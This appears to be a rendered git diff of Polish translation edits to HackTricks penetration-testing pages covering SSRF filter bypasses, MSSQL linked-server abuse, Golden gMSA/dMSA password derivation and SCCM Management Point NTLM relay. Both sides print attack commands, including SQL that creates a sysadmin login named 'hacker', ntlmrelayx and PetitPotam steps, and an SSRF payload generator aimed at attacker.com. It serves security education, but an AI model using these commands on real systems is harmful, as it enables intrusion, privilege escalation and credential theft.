{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Bypass via redirect
|
### Obejście przez przekierowanie
|
||||||
|
|
||||||
Możliwe, że serwer **filtruje oryginalne żądanie** SSRF **ale nie** możliwą **odpowiedź przekierowania** na to żądanie.\
|
Możliwe, że serwer **filtruje oryginalne żądanie** SSRF **ale nie** możliwą odpowiedź **przekierowania** na to żądanie.\
|
||||||
Na przykład, serwer podatny na SSRF poprzez: `url=https://www.google.com/` może **filtruje parametr url**. Ale jeśli użyjesz [serwera python do odpowiedzi z kodem 302](https://pastebin.com/raw/ywAUhFrv) w miejsce, gdzie chcesz przekierować, możesz być w stanie **uzyskać dostęp do filtrowanych adresów IP** jak 127.0.0.1 lub nawet filtrowanych **protokołów** jak gopher.\
|
Na przykład, serwer podatny na SSRF przez: `url=https://www.google.com/` może **filtruje parametr url**. Ale jeśli użyjesz [serwera python do odpowiedzi z 302](https://pastebin.com/raw/ywAUhFrv) w miejsce, gdzie chcesz przekierować, możesz być w stanie **uzyskać dostęp do filtrowanych adresów IP** jak 127.0.0.1 lub nawet filtrowanych **protokołów** jak gopher.\
|
||||||
[Sprawdź ten raport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
[Sprawdź ten raport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
@ -193,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||||||
|
|
||||||
### Sztuczka z ukośnikiem
|
### Sztuczka z ukośnikiem
|
||||||
|
|
||||||
Sztuczka z _backslash_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na uznaniu znaku backslash (`\`) przez standard WHATWG za równoważny ukośnikowi (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL.
|
Sztuczka _backslash-trick_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na tym, że standard WHATWG uznaje ukośnik wsteczny (`\`) za równoważny ukośnikowi (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -209,7 +209,7 @@ obraz z [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-con
|
|||||||
|
|
||||||
### Sztuczka z identyfikatorem strefy IPv6 (%25)
|
### Sztuczka z identyfikatorem strefy IPv6 (%25)
|
||||||
|
|
||||||
Nowoczesne analizatory URL, które wspierają RFC 6874, pozwalają na *link-local* adresy IPv6, aby zawierały **identyfikator strefy** po znaku procenta. Niektóre filtry zabezpieczeń nie są świadome tej składni i będą usuwać tylko literały IPv6 w nawiasach kwadratowych, pozwalając na dotarcie następującego ładunku do wewnętrznego interfejsu:
|
Nowoczesne analizatory URL, które obsługują RFC 6874, pozwalają na *link-local* adresy IPv6, aby zawierały **identyfikator strefy** po znaku procenta. Niektóre filtry zabezpieczeń nie są świadome tej składni i będą usuwać tylko literały IPv6 w nawiasach kwadratowych, pozwalając na dotarcie następującego ładunku do wewnętrznego interfejsu:
|
||||||
```text
|
```text
|
||||||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||||
@ -218,7 +218,7 @@ Jeśli aplikacja docelowa weryfikuje, że host *nie* jest `fe80::1`, ale przesta
|
|||||||
|
|
||||||
### Ostatnie CVE związane z analizą bibliotek (2022–2025)
|
### Ostatnie CVE związane z analizą bibliotek (2022–2025)
|
||||||
|
|
||||||
Wiele popularnych frameworków miało problemy z niezgodnością nazw hostów, które mogą być wykorzystane do SSRF, gdy walidacja URL została ominięta za pomocą wymienionych powyżej sztuczek:
|
Wiele popularnych frameworków miało problemy z niezgodnością nazw hostów, które można wykorzystać do SSRF, gdy walidacja URL została ominięta za pomocą wymienionych powyżej sztuczek:
|
||||||
|
|
||||||
| Rok | CVE | Komponent | Streszczenie błędu | Minimalny PoC |
|
| Rok | CVE | Komponent | Streszczenie błędu | Minimalny PoC |
|
||||||
|------|-----|-----------|--------------|-------------|
|
|------|-----|-----------|--------------|-------------|
|
||||||
@ -230,7 +230,7 @@ Kiedy polegasz na parserach URL stron trzecich, **porównaj kanonizowany host zw
|
|||||||
|
|
||||||
### Pomocnicy do generowania ładunków (2024+)
|
### Pomocnicy do generowania ładunków (2024+)
|
||||||
|
|
||||||
Tworzenie dużych, niestandardowych list słów ręcznie jest uciążliwe. Narzędzie open-source **SSRF-PayloadMaker** (Python 3) może teraz automatycznie generować *80 k+* kombinacji modyfikacji hostów, w tym mieszane kodowania, wymuszone obniżenie HTTP i warianty z ukośnikiem:
|
Tworzenie dużych niestandardowych list słów ręcznie jest uciążliwe. Narzędzie open-source **SSRF-PayloadMaker** (Python 3) może teraz automatycznie generować *80 k+* kombinacji modyfikacji hostów, w tym mieszane kodowania, wymuszone obniżenie HTTP i warianty z ukośnikiem:
|
||||||
```bash
|
```bash
|
||||||
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
||||||
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
||||||
|
@ -7,7 +7,7 @@
|
|||||||
|
|
||||||
### Python
|
### Python
|
||||||
|
|
||||||
Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i pozwala również na uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków.
|
Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i umożliwia również uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków.
|
||||||
|
|
||||||
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||||||
```shell
|
```shell
|
||||||
@ -166,7 +166,7 @@ Możliwe jest również **wykonywanie poleceń** wewnątrz hosta MSSQL
|
|||||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||||
```
|
```
|
||||||
Sprawdź na stronie wspomnianej w **następnym rozdziale, jak zrobić to ręcznie.**
|
Sprawdź na stronie wspomnianej w **następującej sekcji, jak zrobić to ręcznie.**
|
||||||
|
|
||||||
### MSSQL Podstawowe Sztuczki Hackingowe
|
### MSSQL Podstawowe Sztuczki Hackingowe
|
||||||
|
|
||||||
@ -274,15 +274,15 @@ Możesz również nadużyć zaufanych linków używając `EXECUTE`:
|
|||||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||||
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||||
```
|
```
|
||||||
## Eskalacja uprawnień lokalnych
|
## Eskalacja Uprawnień Lokalnych
|
||||||
|
|
||||||
**Użytkownik lokalny MSSQL** zazwyczaj ma specjalny rodzaj uprawnienia nazywanego **`SeImpersonatePrivilege`**. Umożliwia to kontu "podszywanie się pod klienta po uwierzytelnieniu".
|
**Użytkownik lokalny MSSQL** zazwyczaj ma specjalny rodzaj uprawnienia nazywanego **`SeImpersonatePrivilege`**. Umożliwia to kontu "podszywanie się pod klienta po uwierzytelnieniu".
|
||||||
|
|
||||||
Strategią, którą opracowało wielu autorów, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej lub man-in-the-middle usłudze, którą tworzy atakujący. Ta fałszywa usługa może następnie podszywać się pod usługę SYSTEM, gdy ta próbuje się uwierzytelnić.
|
Strategią, którą wielu autorów opracowało, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej lub man-in-the-middle usłudze, którą tworzy atakujący. Ta fałszywa usługa jest w stanie podszywać się pod usługę SYSTEM, gdy ta próbuje się uwierzytelnić.
|
||||||
|
|
||||||
[SweetPotato](https://github.com/CCob/SweetPotato) ma zbiór tych różnych technik, które można wykonać za pomocą polecenia `execute-assembly` w Beaconie.
|
[SweetPotato](https://github.com/CCob/SweetPotato) ma zbiór tych różnych technik, które można wykonać za pomocą polecenia `execute-assembly` w Beaconie.
|
||||||
|
|
||||||
### NTLM Relay punktu zarządzania SCCM (ekstrakcja sekretów OSD)
|
### NTLM Relay Punktu Zarządzania SCCM (Ekstrakcja Sekretów OSD)
|
||||||
Zobacz, jak domyślne role SQL punktów zarządzania SCCM **Management Points** mogą być wykorzystywane do zrzucania konta dostępu do sieci i sekretów sekwencji zadań bezpośrednio z bazy danych witryny:
|
Zobacz, jak domyślne role SQL punktów zarządzania SCCM **Management Points** mogą być wykorzystywane do zrzucania konta dostępu do sieci i sekretów sekwencji zadań bezpośrednio z bazy danych witryny:
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
sccm-management-point-relay-sql-policy-secrets.md
|
sccm-management-point-relay-sql-policy-secrets.md
|
||||||
|
@ -29,7 +29,7 @@ Jest to analogiczne do *Złotego Biletu* dla kont usługowych.
|
|||||||
### Wymagania wstępne
|
### Wymagania wstępne
|
||||||
|
|
||||||
1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise), lub dostęp `SYSTEM` do jednego z DC w lesie.
|
1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise), lub dostęp `SYSTEM` do jednego z DC w lesie.
|
||||||
2. Możliwość enumeracji kont usługowych (odczyt LDAP / brutalne siłowe atakowanie RID).
|
2. Możliwość enumeracji kont usługowych (odczyt LDAP / brute-force RID).
|
||||||
3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu.
|
3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu.
|
||||||
|
|
||||||
### Złoty gMSA / dMSA
|
### Złoty gMSA / dMSA
|
||||||
@ -73,13 +73,13 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
|||||||
```
|
```
|
||||||
##### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje)
|
##### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje)
|
||||||
|
|
||||||
Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL.
|
Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL.
|
||||||
Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale:
|
Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale:
|
||||||
|
|
||||||
1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (z dokładnością do minut).
|
1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (rozdzielczość minutowa).
|
||||||
2. Następnie 96 losowych bitów.
|
2. Następnie 96 losowych bitów.
|
||||||
|
|
||||||
Dlatego **wąska lista słów dla konta** (± kilka godzin) jest realistyczna.
|
Dlatego **wąska lista słów dla każdego konta** (± kilka godzin) jest realistyczna.
|
||||||
```powershell
|
```powershell
|
||||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||||
```
|
```
|
||||||
@ -87,7 +87,7 @@ Narzędzie oblicza kandydatów na hasła i porównuje ich blob base64 z rzeczywi
|
|||||||
|
|
||||||
##### Faza 4 – Offline Obliczanie Hasła i Konwersja
|
##### Faza 4 – Offline Obliczanie Hasła i Konwersja
|
||||||
|
|
||||||
Gdy znany jest ManagedPasswordID, ważne hasło jest na wyciągnięcie ręki:
|
Gdy ManagedPasswordID jest znane, ważne hasło jest na wyciągnięcie ręki:
|
||||||
```powershell
|
```powershell
|
||||||
# derive base64 password
|
# derive base64 password
|
||||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||||
@ -113,7 +113,7 @@ Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`)
|
|||||||
## Odniesienia
|
## Odniesienia
|
||||||
|
|
||||||
- [Golden dMSA – obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
- [Golden dMSA – obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||||
- [gMSA Ataki Active Directory Konta](https://www.semperis.com/blog/golden-gmsa-attack/)
|
- [gMSA Ataki na konta Active Directory](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||||
- [Repozytorium GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
|
- [Repozytorium GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
|
||||||
- [Improsec – atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
- [Improsec – atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||||
|
|
||||||
|
@ -3,10 +3,10 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
Wymuszając **System Center Configuration Manager (SCCM) Management Point (MP)** do uwierzytelnienia przez SMB/RPC i **przekazując** ten NTLM machine account do **bazy danych serwisu (MSSQL)**, uzyskujesz prawa `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Te role pozwalają na wywołanie zestawu procedur składowanych, które ujawniają **Operating System Deployment (OSD)** policy blobs (poświadczenia Network Access Account, zmienne Task-Sequence itp.). Bloby są zakodowane/encrypted w formacie hex, ale mogą być dekodowane i odszyfrowane za pomocą **PXEthief**, co daje jawne sekrety.
|
Wymuszając **System Center Configuration Manager (SCCM) Management Point (MP)** do uwierzytelnienia przez SMB/RPC i **przekazując** ten konto maszyny NTLM do **bazy danych witryny (MSSQL)** uzyskujesz prawa `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Te role pozwalają na wywołanie zestawu procedur składowanych, które ujawniają **bloby polityki wdrażania systemu operacyjnego (OSD)** (poświadczenia konta dostępu do sieci, zmienne sekwencji zadań itp.). Bloby są zakodowane/encrypted w formacie hex, ale mogą być dekodowane i odszyfrowane za pomocą **PXEthief**, co daje jawne sekrety.
|
||||||
|
|
||||||
Ogólny schemat:
|
Ogólny schemat:
|
||||||
1. Odkryj MP & bazę danych serwisu ↦ nieautoryzowany punkt końcowy HTTP `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
1. Odkryj MP i bazę danych witryny ↦ nieautoryzowany punkt końcowy HTTP `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||||
2. Uruchom `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
|
2. Uruchom `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
|
||||||
3. Wymuś MP używając **PetitPotam**, PrinterBug, DFSCoerce itp.
|
3. Wymuś MP używając **PetitPotam**, PrinterBug, DFSCoerce itp.
|
||||||
4. Przez proxy SOCKS połącz się z `mssqlclient.py -windows-auth` jako przekazywane konto **<DOMAIN>\\<MP-host>$**.
|
4. Przez proxy SOCKS połącz się z `mssqlclient.py -windows-auth` jako przekazywane konto **<DOMAIN>\\<MP-host>$**.
|
||||||
@ -20,14 +20,14 @@ Sekrety takie jak `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Passw
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 1. Enumerowanie nieautoryzowanych punktów końcowych MP
|
## 1. Enumeracja nieautoryzowanych punktów końcowych MP
|
||||||
Rozszerzenie ISAPI MP **GetAuth.dll** ujawnia kilka parametrów, które nie wymagają uwierzytelnienia (chyba że serwis jest tylko PKI):
|
Rozszerzenie ISAPI MP **GetAuth.dll** ujawnia kilka parametrów, które nie wymagają uwierzytelnienia (chyba że witryna jest tylko PKI):
|
||||||
|
|
||||||
| Parametr | Cel |
|
| Parametr | Cel |
|
||||||
|-----------|---------|
|
|-----------|---------|
|
||||||
| `MPKEYINFORMATIONMEDIA` | Zwraca publiczny klucz certyfikatu podpisującego serwis + GUIDy urządzeń *x86* / *x64* **All Unknown Computers**. |
|
| `MPKEYINFORMATIONMEDIA` | Zwraca publiczny klucz certyfikatu podpisującego witrynę + GUIDy urządzeń *x86* / *x64* **Wszystkie Nieznane Komputery**. |
|
||||||
| `MPLIST` | Wymienia każdy Management-Point w serwisie. |
|
| `MPLIST` | Wymienia każdy Management-Point w witrynie. |
|
||||||
| `SITESIGNCERT` | Zwraca certyfikat podpisujący Primary-Site (identyfikuje serwer serwisu bez LDAP). |
|
| `SITESIGNCERT` | Zwraca certyfikat podpisujący głównej witryny (identyfikuje serwer witryny bez LDAP). |
|
||||||
|
|
||||||
Zbierz GUIDy, które będą działać jako **clientID** do późniejszych zapytań DB:
|
Zbierz GUIDy, które będą działać jako **clientID** do późniejszych zapytań DB:
|
||||||
```bash
|
```bash
|
||||||
@ -56,7 +56,7 @@ Połącz się przez proxy SOCKS (port 1080 domyślnie):
|
|||||||
```bash
|
```bash
|
||||||
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||||
```
|
```
|
||||||
Przełącz się na bazę danych **CM_<SiteCode>** (użyj 3-cyfrowego kodu lokalizacji, np. `CM_001`).
|
Przełącz się na bazę danych **CM_<SiteCode>** (użyj 3-cyfrowego kodu witryny, np. `CM_001`).
|
||||||
|
|
||||||
### 3.1 Znajdź GUIDy nieznanych komputerów (opcjonalnie)
|
### 3.1 Znajdź GUIDy nieznanych komputerów (opcjonalnie)
|
||||||
```sql
|
```sql
|
||||||
@ -76,12 +76,12 @@ Skup się na politykach:
|
|||||||
* **TS_Sequence** – zmienne sekwencji zadań (OSDJoinAccount/Password)
|
* **TS_Sequence** – zmienne sekwencji zadań (OSDJoinAccount/Password)
|
||||||
* **CollectionSettings** – może zawierać konta uruchamiane jako
|
* **CollectionSettings** – może zawierać konta uruchamiane jako
|
||||||
|
|
||||||
### 3.3 Pobierz pełne body
|
### 3.3 Pobierz pełne ciało
|
||||||
Jeśli już masz `PolicyID` i `PolicyVersion`, możesz pominąć wymaganie clientID, używając:
|
Jeśli już masz `PolicyID` i `PolicyVersion`, możesz pominąć wymaganie clientID, używając:
|
||||||
```sql
|
```sql
|
||||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||||
```
|
```
|
||||||
> WAŻNE: W SSMS zwiększ „Maksymalną liczbę pobranych znaków” (>65535), w przeciwnym razie blob zostanie obcięty.
|
> WAŻNE: W SSMS zwiększ „Maksymalna liczba pobranych znaków” (>65535), w przeciwnym razie blob zostanie obcięty.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -151,5 +151,5 @@ abusing-ad-mssql.md
|
|||||||
## Odniesienia
|
## Odniesienia
|
||||||
- [Chciałbym porozmawiać z Twoim menedżerem: Kradzież sekretów za pomocą relayów punktów zarządzania](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
- [Chciałbym porozmawiać z Twoim menedżerem: Kradzież sekretów za pomocą relayów punktów zarządzania](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||||
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
||||||
- [Menadżer Niewłaściwej Konfiguracji – ELEVATE-4 i ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
- [Menadżer błędnej konfiguracji – ELEVATE-4 i ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user